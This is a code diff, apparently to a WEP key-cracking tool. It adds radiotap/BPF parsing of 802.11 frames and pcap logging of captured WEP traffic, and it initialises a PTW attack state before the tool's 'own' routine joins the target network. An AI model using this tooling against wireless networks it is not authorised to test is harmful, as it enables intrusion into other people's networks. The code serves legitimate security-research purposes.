@@ void open_tap() { time_print("Opened tap device: %s\n", tapdev); } -void set_tap_mac(unsigned char* mac) { - int s; - struct ifreq ifr; - - s = socket(PF_INET, SOCK_DGRAM, 0); - if (s == -1) { - perror("socket()"); - exit(1); - } - - memset(&ifr, 0, sizeof(ifr)); - strcpy(ifr.ifr_name, tapdev); - - ifr.ifr_addr.sa_family = AF_LINK; - ifr.ifr_addr.sa_len = 6; - memcpy(ifr.ifr_addr.sa_data, mac, 6); - - if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) { - perror("ioctl(SIOCSIFLLADDR)"); - exit(1); - } - - close(s); - time_print("Set tap MAC to: %s\n", mac2str(mac)); -} - void read_tap() { unsigned char buf[4096]; struct ether_header* eh; @@ -2258,6 +2322,95 @@ int elapsedd(struct timeval *past, struct timeval *now) return el; } +static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen) +{ +#define BIT(n) (1<<(n)) + struct bpf_hdr *bpfh; + struct ieee80211_radiotap_header *rth; + uint32_t present; + uint8_t rflags; + void *ptr; + static int nocrc = 0; + + assert(*totlen); + + /* bpf hdr */ + bpfh = (struct bpf_hdr*) (*data); + assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ + *totlen -= bpfh->bh_hdrlen; + + /* check if more packets */ + if ((int)bpfh->bh_caplen < *totlen) { + int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; + int offset = BPF_WORDALIGN(tot); + + *data = (char*)bpfh + offset; + *totlen -= offset - tot; /* take into account align bytes */ + } else if ((int)bpfh->bh_caplen > *totlen) + abort(); + + *plen = bpfh->bh_caplen; + *totlen -= bpfh->bh_caplen; + assert(*totlen >= 0); + + /* radiotap */ + rth = (struct ieee80211_radiotap_header*) + ((char*)bpfh + bpfh->bh_hdrlen); + /* XXX cache; drivers won't change this per-packet */ + /* check if FCS/CRC is included in packet */ + present = le32toh(rth->it_present); + if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) { + if (present & BIT(IEEE80211_RADIOTAP_TSFT)) + rflags = ((const uint8_t *)rth)[8]; + else + rflags = ((const uint8_t *)rth)[0]; + } else + rflags = 0; + *plen -= rth->it_len; + assert(*plen > 0); + + /* 802.11 CRC */ + if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { + *plen -= IEEE80211_CRC_LEN; + nocrc = 1; + } + + ptr = (char*)rth + rth->it_len; + + return ptr; +#undef BIT +} + +static int read_packet(int fd, unsigned char *dst, int len) +{ + static unsigned char buf[4096]; + static int totlen = 0; + static unsigned char *next = buf; + unsigned char *pkt; + int plen; + + assert(len > 0); + + /* need to read more */ + if (totlen == 0) { + totlen = read(fd, buf, sizeof(buf)); + if (totlen == -1) { + totlen = 0; + return -1; + } + next = buf; + } + + /* read 802.11 packet */ + pkt = get_80211(&next, &totlen, &plen); + if (plen > len) + plen = len; + assert(plen > 0); + memcpy(dst, pkt, plen); + + return plen; +} + void own(int wifd) { unsigned char buf[4096]; int rd; @@ -2275,8 +2428,23 @@ void own(int wifd) { weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND); if (weplog.fd == -1) { + struct pcap_file_header pfh; + + memset(&pfh, 0, sizeof(pfh)); + pfh.magic = TCPDUMP_MAGIC; + pfh.version_major = PCAP_VERSION_MAJOR; + pfh.version_minor = PCAP_VERSION_MINOR; + pfh.thiszone = 0; + pfh.sigfigs = 0; + pfh.snaplen = 65535; + pfh.linktype = LINKTYPE_IEEE802_11; + weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + if (weplog.fd != -1) { + if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh)) + err(1, "write()"); + } } else { time_print("WARNING: Appending in %s\n", WEP_FILE); @@ -2314,7 +2482,8 @@ void own(int wifd) { close(fd); open_tap(); - set_tap_mac(mymac); + set_if_mac(mymac, tapdev); + time_print("Set tap MAC to: %s\n", mac2str(mymac)); if (tapfd > wifd) largest = tapfd; @@ -2444,7 +2613,7 @@ void own(int wifd) { if (rd != 0) { // wifi if (FD_ISSET(wifd, &rfd)) { - rd = read(wifd, buf, sizeof(buf)); + rd = read_packet(wifd, buf, sizeof(buf)); if (rd == 0) return; if (rd == -1) { @@ -2525,6 +2694,10 @@ void start(char *dev) { fd = open_bpf(dev, DLT_IEEE802_11_RADIO); + ptw = PTW_newattackstate(); + if (!ptw) + err(1, "PTW_newattackstate()"); + own(fd); #if 0 @@ -2621,6 +2794,7 @@ int main(int argc, char *argv[]) { case 'n': netip = optarg; + netip_arg = 1; break; case 'r': |